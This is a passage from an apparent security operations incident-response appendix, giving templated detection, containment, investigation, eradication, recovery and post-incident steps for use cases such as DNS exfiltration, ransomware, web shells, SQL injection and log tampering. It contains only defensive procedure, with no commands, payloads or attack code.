1. Detection and Verification:
    - Validate the alert using web proxy logs or CASB (Cloud Access Security Broker).
    - Identify the source of the data upload.
2. Containment:
    - Block access to the unauthorised cloud storage service.
    - Suspend the user’s cloud upload privileges.
3. Investigation:
    - Review the data uploaded for sensitive or proprietary information.
    - Determine whether the upload was intentional or accidental.
4. Eradication:
    - Remove unauthorised cloud access permissions.
    - Implement stricter data loss prevention (DLP) controls.
5. Recovery:
    - Restore legitimate cloud access privileges after resolution.
    - Test and reinforce data-sharing policies.
6. Post-Incident Actions:

    - Update detection rules for unauthorised cloud usage.
    - Train employees on approved cloud platforms.

C.4.5 Use Case: Suspicious Use of DNS for Data Exfiltration

Scenario: DNS queries are used to exfiltrate sensitive data covertly.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by analysing DNS traffic for encoded data patterns.
    - Use threat intelligence to identify suspicious domains.
2. Containment:
    - Block queries to the identified domain or IP.
    - Redirect DNS traffic to a secure resolver.
3. Investigation:
    - Identify the system or user initiating the queries.
    - Analyse the nature and volume of data exfiltrated.
4. Eradication:
    - Remove the malware or scripts using DNS for data exfiltration.
    - Address misconfigurations in DNS settings.
5. Recovery:
    - Reinforce DNS security policies.
    - Ensure no further DNS abuse is occurring.
6. Post-Incident Actions:
    - Update threat intelligence feeds.
    - Provide training on recognising DNS misuse.

C.4.6 Use Case: Suspicious File Replication to External Drives

Scenario: Files are copied to an external drive under unusual circumstances.

Response Playbook:

1. Detection and Verification:
   - Validate the alert using endpoint or DLP logs.
   - Identify the files replicated and the user responsible.
2. Containment:
   - Disable the external drive’s access.
   - Quarantine the device if necessary.
3. Investigation:
   - Review the data transferred for sensitivity.
   - Determine whether the action was intentional or malicious.
4. Eradication:
   - Remove unauthorised external drive permissions.
   - Apply stricter access controls for sensitive files.
5. Recovery:
   - Restore normal access after resolving the issue.
   - Test and enhance policies for external drive usage.
6. Post-Incident Actions:
   - Update monitoring rules for external data transfers.
   - Educate employees on safe data transfer practices.

C.4.7 Use Case: Suspicious Use of Email Auto-Forwarding Rules

Scenario: Unauthorised email auto-forwarding rules are set, potentially leading to data leakage.

Response Playbook:

1. Detection and Verification:
   - Confirm the alert by reviewing email system logs and forwarding rules.
   - Identify the origin of the rule changes.

2. Containment:
   - Disable the suspicious forwarding rules immediately.
   - Suspend the associated user account if necessary.
3. Investigation:
   - Examine the forwarded emails for sensitive content.
   - Identify if the rules were set by a threat actor or insider.
4. Eradication:
   - Remove any malicious email configurations.
   - Strengthen email security policies and access controls.
5. Recovery:
   - Restore legitimate email settings.
   - Test and validate email system configurations.
6. Post-Incident Actions:
   - Update email system monitoring rules.
   - Provide training on email security awareness.

C.5 Malware and Exploit Detection

C.5.1 Use Case: Malware Detection

Scenario: Detection of a malicious executable or script on an endpoint or server.

Response Playbook:

1. Detection and Verification:
   - Confirm the alert through EDR or antivirus logs.
   - Perform a hash lookup on threat intelligence platforms to validate the file's reputation.
2. Containment:
   - Isolate the infected endpoint from the network.

- Quarantine the malicious file to prevent execution.

3. Investigation:
    - Identify the origin of the file (e.g., email, web download, USB).
    - Analyse the malware to understand its behaviour and intent.
4. Eradication:
    - Remove the malicious file using antivirus tools.
    - Address vulnerabilities exploited to introduce the malware.
5. Recovery:
    - Restore affected systems from a clean backup if necessary.
    - Reinforce endpoint protection policies.
6. Post-Incident Actions:
    - Update detection signatures in security tools.
    - Educate users about avoiding similar malware threats.

C.5.2 Use Case: Ransomware Activity Detection

Scenario: Signs of ransomware activity, such as mass file encryption or the appearance of ransom notes.

Response Playbook:

1. Detection and Verification:
    - Confirm unusual file changes and the presence of ransomware artifacts.
    - Verify the ransomware type through file or note analysis.
2. Containment:
    - Immediately isolate the affected system to prevent spread.
    - Disconnect shared drives and storage devices.
3. Investigation:
    - Identify the initial infection vector.
    - Collect relevant logs for forensic analysis (e.g., file access logs).

4. Eradication:
   - Remove ransomware executables and related files.
   - Patch exploited vulnerabilities and update systems.
5. Recovery:
   - Restore files from secure, offline backups.
   - Reintroduce the system after ensuring it is free of ransomware.
6. Post-Incident Actions:
   - Enhance data backup and recovery protocols.
   - Improve email filtering and endpoint monitoring.

C.5.3 Use Case: Exploit Attempt Detection

Scenario: Attempts to exploit a vulnerability in a service, application or operating system.

Response Playbook:

1. Detection and Verification:
   - Analyse IDS/IPS logs to validate the exploit attempt.
   - Identify the targeted system and type of exploit.
2. Containment:
   - Block the attacker's IP address and isolate the affected system.
   - Disable the exploited service if necessary.
3. Investigation:
   - Determine the vulnerability being targeted.
   - Check for signs of successful exploitation or additional payloads.
4. Eradication:
   - Apply patches to address the vulnerability.
   - Remove any malicious files or changes introduced by the exploit.
5. Recovery:

- Test the system for stability and security.
- Reinforce the system with updated security configurations.

6. Post-Incident Actions:
    - Update IDS/IPS rules to detect similar exploit attempts.
    - Conduct a vulnerability assessment of related systems.

C.5.4 Use Case: Exploit Kit Activity Detection

Scenario: Detection of exploit kit activity, such as automated attacks targeting unpatched systems.

Response Playbook:

1. Detection and Verification:
    - Verify alert details, including payload and targeted systems.
    - Cross-reference the exploit kit signatures with threat intelligence.
2. Containment:
    - Block associated IPs or domains.
    - Restrict access to vulnerable systems.
3. Investigation:
    - Identify the exploit kit and its attack vector.
    - Analyse logs to determine the scope of the attack.
4. Eradication:
    - Patch all identified vulnerabilities.
    - Remove any files or scripts associated with the exploit kit.
5. Recovery:
    - Monitor the system for residual activity.
    - Validate the effectiveness of security patches.
6. Post-Incident Actions:
    - Strengthen patch management processes.

   - Share findings with threat intelligence networks.

C.5.5 Use Case: Detection of Web Shell Installation

Scenario: A malicious web shell is identified on a web server.

Response Playbook:

1. Detection and Verification:
   - Validate the web shell detection using server logs and file integrity monitoring tools.
   - Identify the malicious file path and uploaded payload.
2. Containment:
   - Disable web server access temporarily.
   - Block suspicious IP addresses associated with the upload.
3. Investigation:
   - Analyse the web shell for its capabilities and usage.
   - Identify the vulnerability that allowed its upload.
4. Eradication:
   - Remove the web shell and any backdoors.
   - Patch exploited vulnerabilities on the server.
5. Recovery:
   - Restore the web server to a clean state.
   - Conduct rigorous testing before re-enabling access.
6. Post-Incident Actions:
   - Enhance web application firewalls (WAF) to block similar threats.
   - Conduct a security assessment of the web application.

C.5.6 Use Case: Detection of Suspicious Browser Extensions

Scenario: A malicious or unauthorised browser extension is detected on an endpoint.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by inspecting browser logs and the extension's metadata.
    - Identify the user account and affected browser.
2. Containment:
    - Disable the suspicious extension remotely (if possible).
    - Block the associated domain or server if it communicates externally.
3. Investigation:
    - Analyse the extension's behaviour and its origin.
    - Identify how the extension was installed.
4. Eradication:
    - Remove the extension from affected systems.
    - Update browser security policies to restrict extensions.
5. Recovery:
    - Reinforce endpoint security configurations.
    - Educate users on safe browser practices.
6. Post-Incident Actions:
    - Implement controls to whitelist approved browser extensions.
    - Enhance monitoring of browser activities.

C.5.7 Use Case: Detection of Suspicious Service Account Password Changes

Scenario: Unusual or unauthorised password changes for critical service accounts are detected.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by reviewing authentication logs.

- Identify the system and actor involved in the change.

2. Containment:
   - Lock the affected service account.
   - Temporarily disable access to services using the account.
3. Investigation:
   - Determine the source and intent of the password change.
   - Identify any associated suspicious activities.
4. Eradication:
   - Reset the service account password securely.
   - Revoke unauthorised access privileges.
5. Recovery:
   - Test service functionality with the new password.
   - Re-enable the service account with tightened access controls.
6. Post-Incident Actions:
   - Implement monitoring for service account changes.
   - Review and enhance account management policies.

C.6 Policy Violations and Misuse

C.6.1 Use Case: Unauthorised Configuration Change

Scenario: Configuration changes detected on critical systems or devices without proper authorisation.

Response Playbook:

1. Detection and Verification:
   - Validate the alert through configuration management tools or SIEM logs.
   - Identify the nature of the change and the system affected.
2. Containment:

- Roll back unauthorised changes if possible.
- Isolate the system if changes indicate compromise.

3. Investigation:
   - Determine who made the changes and their intent.
   - Review audit logs and associated user activities.
4. Eradication:
   - Secure access to configuration management tools.
   - Remove or disable accounts used for unauthorised changes.
5. Recovery:
   - Reapply secure configurations.
   - Reinforce change management protocols.
6. Post-Incident Actions:
   - Enhance monitoring for configuration changes.
   - Conduct awareness training on configuration management policies.

C.6.2 Use Case: Unauthorised File Transfers via Secure Copy Protocol (SCP)

Scenario: Detection of sensitive data being transferred using SCP without approval.

Response Playbook:

1. Detection and Verification:
   - Validate SCP file transfer activity through network or endpoint logs.
   - Identify the source and destination of the transfer.
2. Containment:
   - Block the associated IP addresses or user accounts.
   - Halt ongoing file transfer activities.
3. Investigation:
   - Analyse transferred files for sensitive content.

- Identify the actor and their intent.

4. Eradication:
    - Revoke unauthorised user access.
    - Remove unauthorised SCP tools or configurations.
5. Recovery:
    - Audit file permissions and secure sensitive data.
    - Reconfigure SCP tools with strict access controls.
6. Post-Incident Actions:
    - Implement DLP (Data Loss Prevention) solutions.
    - Conduct regular audits of file transfer activities.

C.6.3 Use Case: Unauthorised Access to Backup Files

Scenario: Access to backup files detected from unauthorised users or systems.

Response Playbook:

1. Detection and Verification:
    - Validate the alert using backup system logs or SIEM.
    - Confirm unauthorised access attempts or activities.
2. Containment:
    - Revoke access to the backup system.
    - Quarantine compromised files.
3. Investigation:
    - Identify the method used to gain unauthorised access.
    - Analyse logs for associated activities or actors.
4. Eradication:
    - Address security gaps in backup system access controls.
    - Secure all affected backup files.

5. Recovery:
    - Restore backup files to a secure location if tampered.
    - Enforce MFA and least privilege access for backup systems.
6. Post-Incident Actions:
    - Monitor access to backup systems closely.
    - Perform regular audits on backup systems.

C.6.4 Use Case: Abuse of Remote Management Tools

Scenario: Detection of misuse or unauthorised activities through remote management tools like RDP or TeamViewer.

Response Playbook:

1. Detection and Verification:
    - Validate suspicious remote management activities using session logs.
    - Identify the tool and account involved.
2. Containment:
    - Terminate unauthorised remote sessions.
    - Disable the misused remote management tool temporarily.
3. Investigation:
    - Determine how access was obtained and the actor's intent.
    - Review associated activities for data exfiltration or system changes.
4. Eradication:
    - Revoke unauthorised access and strengthen authentication mechanisms.
    - Patch or upgrade the remote management tool to the latest version.
5. Recovery:
    - Reinstate remote management tools with stricter policies.
    - Validate system integrity before resuming normal operations.
6. Post-Incident Actions:

- Deploy monitoring for remote session anomalies.
- Train staff on secure remote access practices.

C.6.5 Use Case: Excessive Log Clearing or Modification Attempts

Scenario: Attempts to clear or modify logs beyond normal administrative activities are detected.

Response Playbook:

1. Detection and Verification:
   - Confirm the activity using log integrity monitoring or SIEM alerts.
   - Identify the actor and affected logs.
2. Containment:
   - Restrict access to the log files or system.
   - Preserve tampered logs for forensic analysis.
3. Investigation:
   - Determine the motive for log clearing (e.g., cover-up of malicious actions).
   - Analyse related system and user activities.
4. Eradication:
   - Remove unauthorised access to logging systems.
   - Address gaps in log retention policies.
5. Recovery:
   - Restore original log configurations.
   - Enable stricter log access controls.
6. Post-Incident Actions:
   - Implement log integrity solutions.
   - Review and enhance logging policies and retention protocols.

C.6.6 Use Case: Unauthorised Database Schema Changes

Scenario: Detection of unapproved schema modifications in a critical database.

Response Playbook:

1. Detection and Verification:
    - Validate schema change activities using database monitoring tools.
    - Identify the user or system responsible for the change.
2. Containment:
    - Halt database operations temporarily.
    - Revoke access to the database for unauthorised users.
3. Investigation:
    - Analyse the nature and impact of schema changes.
    - Identify the method used to access and modify the database.
4. Eradication:
    - Revert to a backup copy of the database schema.
    - Secure database credentials and enforce role-based access control (RBAC).
5. Recovery:
    - Validate the database schema and functionality.
    - Reinstate normal database operations.
6. Post-Incident Actions:
    - Monitor database activities for future unauthorised changes.
    - Review and enforce database access policies.

C.7 Anomaly Detection and Behavioral Analytics

C.7.1 Use Case: Anomalous User Behavior

Scenario: A user demonstrates unusual activities, such as logging in at odd hours or accessing sensitive files not typically associated with their role.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by reviewing user activity logs and identifying deviations from established baselines.
    - Check for known compromised credentials or suspicious IPs.
2. Containment:
    - Temporarily restrict the user’s access to sensitive systems.
    - Monitor the session for further unusual activities.
3. Investigation:
    - Identify the cause of the anomalous behavior (e.g., compromised credentials, insider threat).
    - Cross-check the user’s behavior against organisational activity policies.
4. Eradication:
    - Reset the user’s credentials and terminate unauthorised sessions.
    - Implement additional monitoring for the user’s future activity.
5. Recovery:
    - Restore normal access permissions after confirming no further threats.
    - Strengthen user access monitoring with behavioral analytics.
6. Post-Incident Actions:
    - Train users on secure practices and abnormal behavior indicators.
    - Update anomaly detection rules to include newly observed patterns.

C.7.2 Use Case: Anomalous Device Connection in Network

Scenario: A new device connects to the network but does not match typical device profiles or expected usage patterns.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by reviewing network logs and identifying the device’s origin.

   - Cross-reference the device against inventory records.

2. Containment:
   - Isolate the suspicious device from the network.
   - Block the device’s IP address or MAC address.
3. Investigation:
   - Determine if the device belongs to an authorised user.
   - Analyse traffic from the device for suspicious activities.
4. Eradication:
   - Remove unauthorised software or malware if found.
   - Reconfigure network settings to prevent unauthorised device connections.
5. Recovery:
   - Reintegrate legitimate devices after verification.
   - Update device connection policies and access control lists.
6. Post-Incident Actions:
   - Conduct a network-wide review of connected devices.
   - Enhance training for employees on approved device usage.

C.7.3 Use Case: Abnormal SSL/TLS Handshake Behavior

Scenario: A spike in failed or unusual SSL/TLS handshakes occurs, potentially signaling malicious activities like MITM attacks.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing packet captures and logs.
   - Identify the source and destination of the anomalous handshakes.
2. Containment:
   - Block the IP addresses or domains involved in suspicious handshakes.
   - Quarantine affected endpoints.

3. Investigation:
   - Analyse handshake details for protocol anomalies or malicious indicators.
   - Check for signs of certificate spoofing or expired certificates.
4. Eradication:
   - Replace compromised certificates if found.
   - Patch any vulnerabilities in SSL/TLS configurations.
5. Recovery:
   - Verify secure connections are functioning properly.
   - Reinforce secure SSL/TLS practices organisation-wide.
6. Post-Incident Actions:
   - Update threat intelligence to include the malicious patterns observed.
   - Implement automated alerts for SSL/TLS anomalies.

C.7.4 Use Case: Abnormal Account Lockout Frequency

Scenario: A user account experiences repeated lockouts beyond typical thresholds, possibly due to brute force attempts or system misconfiguration.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by reviewing lockout logs and login attempts.
   - Identify the source of failed login attempts.
2. Containment:
   - Temporarily disable the account to prevent further lockouts.
   - Block IPs associated with repeated failed attempts.
3. Investigation:
   - Determine if the lockouts are caused by a brute force attack or user error.
   - Analyse patterns to identify affected systems.
4. Eradication:

- Fix misconfigured systems causing false lockouts.
- Block tools or malware involved in brute force attempts.

5. Recovery:
   - Reinstate the account with a new password after verification.
   - Enhance lockout thresholds and monitoring mechanisms.
6. Post-Incident Actions:
   - Provide users with training on proper password practices.
   - Update detection rules for excessive lockout attempts.

C.7.5 Use Case: Abnormal Credential Usage Across Multiple Endpoints

Scenario: A single user credential is used to access multiple endpoints within a short timeframe, indicating potential compromise.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by cross-checking access logs against baselines.
   - Identify the endpoints accessed and their geolocation data.
2. Containment:
   - Disable the affected credential temporarily.
   - Block unusual IPs or devices using the credential.
3. Investigation:
   - Trace the source of the credential compromise.
   - Identify whether access was legitimate or malicious.
4. Eradication:
   - Reset credentials and enhance authentication mechanisms.
   - Remove malicious software or unauthorised backdoors.
5. Recovery:
   - Re-enable access with improved authentication security.

- Conduct a review of other credential usage for anomalies.

6. Post-Incident Actions:
   - Train users on recognising phishing attempts and credential security.
   - Update policies for credential rotation and multi-factor authentication.

C.7.6 Use Case: Unusual Use of Base64 Encoding in Commands

Scenario: Commands containing Base64 encoding are detected, often a tactic to obfuscate malicious intent.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing command execution logs.
   - Decode Base64 strings to identify their true intent.
2. Containment:
   - Block the execution of suspicious commands.
   - Quarantine endpoints executing the commands.
3. Investigation:
   - Determine the source of the Base64 commands (e.g., scripts, malware).
   - Identify other systems impacted by similar commands.
4. Eradication:
   - Remove scripts or malware leveraging Base64 encoding.
   - Update detection tools to flag similar encoding usage.
5. Recovery:
   - Restore affected systems after cleanup.
   - Reinforce endpoint protection settings.
6. Post-Incident Actions:
   - Conduct organisation-wide training on command execution risks.
   - Update SIEM rules to detect Base64 usage in real-time.

C.8 Application and Web Security

C.8.1 Use Case: Phishing Email Detection

Scenario: An email is flagged as potentially malicious due to suspicious content, sender or attachment.

Response Playbook:

1. Detection and Verification:
   - Analyse the email headers, body and attachments for phishing indicators.
   - Use threat intelligence to check for known phishing domains or malware.
2. Containment:
   - Quarantine the email across user inboxes.
   - Block the sender's domain or IP address in the email gateway.
3. Investigation:
   - Identify targeted users and analyse their interaction with the email.
   - Review related network traffic for signs of successful phishing attempts.
4. Eradication:
   - Remove the email and any downloaded malicious attachments from affected systems.
   - Address vulnerabilities in email filtering rules.
5. Recovery:
   - Restore normal email services and recheck email gateway settings.
   - Enhance phishing detection capabilities.
6. Post-Incident Actions:
   - Train users on recognising phishing emails.
   - Update phishing detection algorithms based on new patterns.

C.8.2 Use Case: Detection of Phishing URLs in Email Body or Attachments

Scenario: A URL in an email points to a known or suspected phishing site.

Response Playbook:

1. Detection and Verification:
   - Use URL sandboxing or threat intelligence feeds to analyse the URL.
   - Check if the domain matches known malicious patterns.
2. Containment:
   - Block the URL organisation-wide using web filtering tools.
   - Prevent email delivery containing the URL.
3. Investigation:
   - Identify the email recipients and analyse their browsing logs.
   - Look for signs of credential harvesting or malware downloads.
4. Eradication:
   - Remove emails containing the phishing URL.
   - Patch any exploited vulnerabilities used by the phishing site.
5. Recovery:
   - Re-establish safe web browsing policies.
   - Strengthen email gateway URL filtering.
6. Post-Incident Actions:
   - Train employees on avoiding suspicious links.
   - Update detection rules for emerging phishing techniques.

C.8.3 Use Case: Email Spoofing Detection

Scenario: An email appears to originate from a legitimate source but is determined to be spoofed.

Response Playbook:

1. Detection and Verification:
   - Analyse the email's SPF, DKIM and DMARC headers.

   - Cross-reference the sender's domain with trusted records.
2. Containment:
   - Quarantine the spoofed email.
   - Block the sender's IP or domain.
3. Investigation:
   - Determine the attacker's goal (e.g., credential theft, financial fraud).
   - Identify recipients and potential impacts.
4. Eradication:
   - Remove spoofed emails from mailboxes.
   - Patch any misconfigurations in email authentication.
5. Recovery:
   - Restore normal email delivery processes.
   - Improve email security with stricter authentication policies.
6. Post-Incident Actions:
   - Conduct security awareness training on email spoofing.
   - Monitor for repeated spoofing attempts.

C.8.4 Use Case: SQL Injection Attack Attempt

Scenario: A web application logs unusual queries that match SQL injection patterns.

Response Playbook:

1. Detection and Verification:
   - Validate the alert using web server and application logs.
   - Review input fields and queries for malicious payloads.
2. Containment:
   - Block the attacker’s IP address or session.
   - Restrict access to affected applications.

3. Investigation:
    - Analyse the payload to determine the attacker’s intent.
    - Check for compromised databases or leaked information.
4. Eradication:
    - Fix vulnerable code and validate input sanitisation.
    - Update WAF rules to block SQL injection attempts.
5. Recovery:
    - Re-enable access after thorough validation.
    - Perform a database integrity check.
6. Post-Incident Actions:
    - Train developers on secure coding practices.
    - Update security tools to detect advanced SQL injection techniques.

C.8.5 Use Case: Suspicious HTTP 500/400 Error Spike

Scenario: An unusual increase in HTTP 500 or 400 errors occurs, possibly due to reconnaissance or application issues.

Response Playbook:

1. Detection and Verification:
    - Analyse server logs to identify the root cause of errors.
    - Cross-reference errors with suspicious IPs or known attack patterns.
2. Containment:
    - Block IPs exhibiting excessive error requests.
    - Implement rate-limiting or additional CAPTCHA requirements.
3. Investigation:
    - Determine if the spike is due to misconfigurations or malicious activities.
    - Check for signs of exploitation attempts.
4. Eradication:

  - Patch application vulnerabilities causing errors.
  - Reconfigure server settings to improve resilience.
5. Recovery:
   - Restore normal application functionality.
   - Enhance monitoring for error spike patterns.
6. Post-Incident Actions:
   - Update application monitoring tools.
   - Train development teams on error handling and prevention.

C.8.6 Use Case: Detection of Hidden Root Certificates

Scenario: A system is discovered with unauthorised or hidden root certificates, potentially enabling SSL interception.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing certificate stores for unauthorised entries.
   - Cross-reference certificates with known trusted authorities.
2. Containment:
   - Remove unauthorised certificates immediately.
   - Quarantine affected systems for further investigation.
3. Investigation:
   - Determine how the certificates were installed (e.g., malware, insider threat).
   - Analyse logs for related unauthorised activities.
4. Eradication:
   - Remove malware or scripts enabling unauthorised certificate installation.
   - Reconfigure security policies to restrict certificate changes.
5. Recovery:
   - Restore trusted certificates to affected systems.

- Perform a network-wide certificate audit.

6. Post-Incident Actions:
    - Train IT staff on monitoring and managing certificates.
    - Update security policies to detect hidden certificates proactively.

C.9 Cloud and IoT Security

C.9.1 Use Case: Cloud Storage Upload Spikes

Scenario: A sudden increase in data uploads to a cloud storage service is detected, potentially indicating data exfiltration.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by reviewing logs for abnormal data transfer patterns.
    - Check user activity and IP geolocation for suspicious behavior.
2. Containment:
    - Restrict access to cloud storage for the involved account(s).
    - Pause further uploads to investigate.
3. Investigation:
    - Identify files uploaded and assess their sensitivity.
    - Analyse logs for evidence of malicious intent or account compromise.
4. Eradication:
    - Address root causes, such as compromised credentials or misconfigurations.
    - Update cloud policies to prevent large unauthorised uploads.
5. Recovery:
    - Restore user access after verifying security.
    - Strengthen upload monitoring and alerts.
6. Post-Incident Actions:

- Train users on secure cloud usage practices.
- Update detection rules for data exfiltration attempts.

C.9.2 Use Case: Unauthorised Cloud Account Login

Scenario: A login is detected from an unauthorised source, such as an unusual geolocation or device.

Response Playbook:

1. Detection and Verification:
    - Review login logs for anomalies (e.g., IP address, geolocation or device fingerprint).
    - Verify the activity with the user if feasible.
2. Containment:
    - Disable or lock the affected account temporarily.
    - Block the suspicious IP or device from accessing the cloud service.
3. Investigation:
    - Determine how the attacker gained access (e.g., phishing, weak passwords).
    - Review activity logs to assess potential data or system exposure.
4. Eradication:
    - Reset account credentials and enforce MFA.
    - Address vulnerabilities enabling unauthorised access.
5. Recovery:
    - Restore account functionality with enhanced security measures.
    - Implement advanced access controls based on risk.
6. Post-Incident Actions:
    - Educate users on account security best practices.
    - Integrate adaptive authentication and geolocation-based access restrictions.

C.9.3 Use Case: Excessive Changes to Security Group Rules in Cloud Environments

Scenario: A series of rapid or unauthorised changes are made to cloud security group rules, possibly exposing systems to threats.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing cloud audit logs for rule changes.
   - Confirm if the changes align with authorised configurations.
2. Containment:
   - Revert security group rules to the last known safe state.
   - Suspend accounts initiating the changes for investigation.
3. Investigation:
   - Determine whether changes were malicious or accidental.
   - Review associated activity logs and correlate with known attack patterns.
4. Eradication:
   - Remove malicious or redundant rules.
   - Patch configurations to prevent unauthorised access.
5. Recovery:
   - Restore secure configurations.
   - Implement approval workflows for security group changes.
6. Post-Incident Actions:
   - Train cloud admins on security group management.
   - Enhance monitoring and alerting for excessive changes.

C.9.4 Use Case: Detection of Unauthorised IoT Device Registrations

Scenario: An IoT device is registered in the network without proper authorisation, raising concerns about potential threats.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by cross-checking device registration logs.
   - Identify the device type and communication patterns.
2. Containment:
   - Isolate the unauthorised device from the network.
   - Block its MAC or IP address.
3. Investigation:
   - Determine the origin of the device (e.g., insider threat or external compromise).
   - Analyse network traffic to identify malicious activity.
4. Eradication:
   - Remove the device from network registration systems.
   - Address vulnerabilities in IoT onboarding processes.
5. Recovery:
   - Re-establish secure IoT onboarding protocols.
   - Strengthen device authentication measures.
6. Post-Incident Actions:
   - Update IoT device policies and procedures.
   - Train staff on recognising unauthorised IoT devices.

C.9.5 Use Case: Detection of Abnormal Device Enrollment in MDM (Mobile Device Management)

Scenario: A device is enrolled in the MDM system without following established protocols, possibly indicating an attack or misuse.

Response Playbook:

1. Detection and Verification:
   - Validate the enrollment attempt using MDM logs and associated metadata.

- Cross-check against authorised device and user lists.

2. Containment:
   - Revoke access for the device and disable its enrollment.
   - Notify administrators and involved users.
3. Investigation:
   - Identify how the unauthorised enrollment was initiated.
   - Review associated logs for other anomalies or threats.
4. Eradication:
   - Remove unauthorised device configurations from the MDM.
   - Fix weaknesses in the MDM enrollment process.
5. Recovery:
   - Reinstate secure MDM operations.
   - Enforce stricter enrollment approval policies.
6. Post-Incident Actions:
   - Update MDM policies to detect and block abnormal enrollments.
   - Train users and admins on secure mobile device management practices.

C.10 Infrastructure and Configuration Monitoring

C.10.1 Use Case: Firewall Policy Change Detection

Scenario: Unauthorised or unexpected changes are made to firewall policies, potentially impacting network security.

Response Playbook:

1. Detection and Verification:
   - Review firewall logs and change history for unauthorised modifications.
   - Verify changes against approved change requests and policies.
2. Containment:

  - Revert to the last known good configuration.
  - Restrict access to the firewall management interface if necessary.

3. Investigation:
   - Identify the user or process responsible for the changes.
   - Assess the impact of the changes on network security and traffic.
4. Eradication:
   - Remove unauthorised access to the firewall management interface.
   - Patch vulnerabilities enabling unauthorised changes.
5. Recovery:
   - Restore normal firewall operations after verifying security.
   - Implement role-based access controls (RBAC) for firewall management.
6. Post-Incident Actions:
   - Update and enforce the firewall change management process.
   - Train admins on secure firewall configuration and monitoring practices.

C.10.2 Use Case: Detection of Unauthorised Modifications in Server Configurations

Scenario: Unexpected changes in server configurations are detected, potentially compromising server performance or security.

Response Playbook:

1. Detection and Verification:
   - Validate the alert using server configuration monitoring tools.
   - Cross-check changes against approved configuration changes.
2. Containment:
   - Revert server configurations to the last known good state.
   - Limit access to the affected server during the investigation.
3. Investigation:

- Identify how and why the changes were made.
- Analyse logs to determine if changes were due to insider threats or external compromise.

4. Eradication:
   - Remove unauthorised access to the server or configuration management tools.
   - Address underlying vulnerabilities or misconfigurations.
5. Recovery:
   - Reapply secure and approved configurations.
   - Conduct a thorough server audit to ensure integrity.
6. Post-Incident Actions:
   - Implement stronger configuration change controls.
   - Educate admins on secure server management practices.

C.10.3 Use Case: Unauthorised Modification of Active Directory Group Memberships

Scenario: Unauthorised users are added to or removed from critical Active Directory (AD) groups, posing risks to access control.

Response Playbook:

1. Detection and Verification:
   - Review AD audit logs to validate unauthorised group membership changes.
   - Identify impacted groups and users.
2. Containment:
   - Revert group memberships to their last known good state.
   - Restrict administrative access to AD until the issue is resolved.
3. Investigation:
   - Determine the source of unauthorised modifications.
   - Correlate with other suspicious AD activity, such as account logins.

4. Eradication:
   - Remove compromised accounts or rectify misconfigured permissions.
   - Update AD security settings to prevent unauthorised changes.
5. Recovery:
   - Restore secure and approved group memberships.
   - Enhance AD monitoring and alerting mechanisms.
6. Post-Incident Actions:
   - Conduct regular AD audits.
   - Train administrators on secure AD practices and RBAC.

C.10.4 Use Case: Detection of Deprecated Protocol Usage

Scenario: Deprecated or insecure protocols (e.g., TLS 1.0, SMBv1) are detected in network traffic, increasing the risk of exploitation.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by reviewing protocol usage logs.
   - Identify devices or systems utilising deprecated protocols.
2. Containment:
   - Isolate systems relying on insecure protocols.
   - Block deprecated protocols at the network level if feasible.
3. Investigation:
   - Determine why deprecated protocols are being used (e.g., legacy systems).
   - Assess the risk associated with their usage.
4. Eradication:
   - Update or replace systems to support secure protocols.
   - Disable deprecated protocols across all systems and devices.
5. Recovery:

   - Test and verify secure communication across all updated systems.
   - Document the deprecation process and lessons learned.

6. Post-Incident Actions:
   - Implement ongoing monitoring for deprecated protocol usage.
   - Educate staff on secure communication standards.

C.11 Incident Response and Forensics

C.11.1 Use Case: File Integrity Monitoring

Scenario: Changes are detected in critical system or application files, potentially indicating tampering or unauthorised modifications.

Response Playbook:

1. Detection and Verification:
   - Validate the alert using file integrity monitoring tools.
   - Cross-check changes against authorised updates or patches.
2. Containment:
   - Isolate the affected system if critical files are compromised.
   - Block further access to the files until the investigation is complete.
3. Investigation:
   - Analyse the modifications to identify their origin and intent.
   - Correlate changes with system and application logs.
4. Eradication:
   - Restore files to their original state from secure backups.
   - Address vulnerabilities that enabled unauthorised changes.
5. Recovery:
   - Verify the integrity of restored files and systems.
   - Enhance file integrity monitoring rules and baselines.

6. Post-Incident Actions:
    - Regularly audit file integrity monitoring processes.
    - Educate admins on maintaining secure file operations.

C.11.2 Use Case: Tampering with SIEM or Security Logs

Scenario: Unauthorised changes or deletions are detected in security logs, potentially indicating an attacker attempting to cover their tracks.

Response Playbook:

1. Detection and Verification:
    - Review SIEM alerts for signs of log tampering (e.g., missing entries).
    - Verify log integrity using backup or redundant logging systems.
2. Containment:
    - Restrict access to logging systems and SIEM tools.
    - Increase logging verbosity for the affected systems.
3. Investigation:
    - Identify how the tampering occurred (e.g., privilege abuse or system compromise).
    - Correlate with other suspicious activities to understand the attack scope.
4. Eradication:
    - Address vulnerabilities in log management systems.
    - Remove unauthorised access to logging tools or systems.
5. Recovery:
    - Restore logs from secure backups if possible.
    - Implement tamper-proof logging mechanisms.
6. Post-Incident Actions:
    - Enhance log integrity monitoring and alerting.
    - Train admins on secure logging practices and auditing.

C.11.3 Use Case: Endpoint Isolation Trigger

Scenario: An endpoint is isolated due to detected malicious activity, such as malware or unauthorised access attempts.

Response Playbook:

1. Detection and Verification:
    - Validate the alert triggering isolation (e.g., malware detection).
    - Verify the endpoint's behavior against baseline activity.
2. Containment:
    - Maintain isolation to prevent lateral movement or data exfiltration.
    - Notify affected users about the incident and provide guidance.
3. Investigation:
    - Analyse endpoint logs and memory dumps for signs of compromise.
    - Determine the attack vector and potential impact.
4. Eradication:
    - Remove malware or address unauthorised access.
    - Patch vulnerabilities exploited during the attack.
5. Recovery:
    - Reintegrate the endpoint into the network after security verification.
    - Conduct post-recovery testing to ensure normal operations.
6. Post-Incident Actions:
    - Update endpoint detection and response (EDR) policies.
    - Provide users with guidance on preventing future compromises.

C.11.4 Use Case: Abnormal SSL Certificate Validity Changes

